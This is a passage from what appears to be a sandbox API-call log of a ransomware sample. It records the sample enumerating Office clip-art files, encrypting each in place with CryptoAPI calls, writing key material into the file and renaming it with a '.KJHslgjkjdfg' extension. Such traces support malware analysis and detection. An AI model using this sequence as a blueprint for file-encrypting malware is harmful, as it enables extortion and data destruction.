(HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.842] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.842] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.842] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.842] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.842] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.843] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.843] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.843] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4f4, lpOverlapped=0x0) returned 1 [0195.843] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x500, dwBufLen=0x500 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x500) returned 1 [0195.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.843] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x500, lpOverlapped=0x0) returned 1 [0195.843] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.843] SetEndOfFile (hFile=0x130) returned 1 [0195.846] GetProcessHeap () returned 0x990000 [0195.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.846] GetProcessHeap () returned 0x990000 [0195.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.846] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.kjhslgjkjdfg")) returned 1 [0195.847] CloseHandle (hObject=0x130) returned 1 [0195.847] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152694.WMF", cAlternateFileName="")) returned 1 [0195.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.849] GetProcessHeap () returned 0x990000 [0195.849] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.849] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.849] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0195.851] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.851] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.851] GetProcessHeap () returned 0x990000 [0195.851] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.851] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.851] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.851] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.851] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.851] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.852] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.852] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.852] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.852] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.852] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x544, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x544, lpOverlapped=0x0) returned 1 [0195.852] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x550, dwBufLen=0x550 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x550) returned 1 [0195.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.852] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x550, lpOverlapped=0x0) returned 1 [0195.852] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.852] SetEndOfFile (hFile=0x130) returned 1 [0195.855] GetProcessHeap () returned 0x990000 [0195.855] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.856] GetProcessHeap () returned 0x990000 [0195.856] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.kjhslgjkjdfg")) returned 1 [0195.857] CloseHandle (hObject=0x130) returned 1 [0195.857] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152696.WMF", cAlternateFileName="")) returned 1 [0195.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.858] GetProcessHeap () returned 0x990000 [0195.859] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.859] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.859] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.859] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.861] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.861] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.861] GetProcessHeap () returned 0x990000 [0195.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.862] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.862] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.862] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.862] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.862] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.862] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.862] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.862] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.862] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.862] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c98, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c98, lpOverlapped=0x0) returned 1 [0195.863] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ca0, dwBufLen=0x1ca0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ca0) returned 1 [0195.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.864] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ca0, lpOverlapped=0x0) returned 1 [0195.864] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.864] SetEndOfFile (hFile=0x130) returned 1 [0195.866] GetProcessHeap () returned 0x990000 [0195.867] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.867] GetProcessHeap () returned 0x990000 [0195.867] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.867] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.kjhslgjkjdfg")) returned 1 [0195.868] CloseHandle (hObject=0x130) returned 1 [0195.868] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152698.WMF", cAlternateFileName="")) returned 1 [0195.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.869] GetProcessHeap () returned 0x990000 [0195.869] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.869] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.869] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.871] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.871] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.872] GetProcessHeap () returned 0x990000 [0195.872] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.872] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.872] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.872] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.872] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.872] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.872] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.872] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.872] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.872] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.872] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4b8, lpOverlapped=0x0) returned 1 [0195.873] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c0) returned 1 [0195.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.873] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4c0, lpOverlapped=0x0) returned 1 [0195.873] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.873] SetEndOfFile (hFile=0x130) returned 1 [0195.876] GetProcessHeap () returned 0x990000 [0195.876] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.876] GetProcessHeap () returned 0x990000 [0195.876] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.kjhslgjkjdfg")) returned 1 [0195.933] CloseHandle (hObject=0x130) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152702.WMF", cAlternateFileName="")) returned 1 [0195.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.935] GetProcessHeap () returned 0x990000 [0195.935] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.936] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.936] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.936] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.938] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.938] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.938] GetProcessHeap () returned 0x990000 [0195.938] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.938] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.938] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.938] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.938] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.938] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.939] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.939] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.939] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, 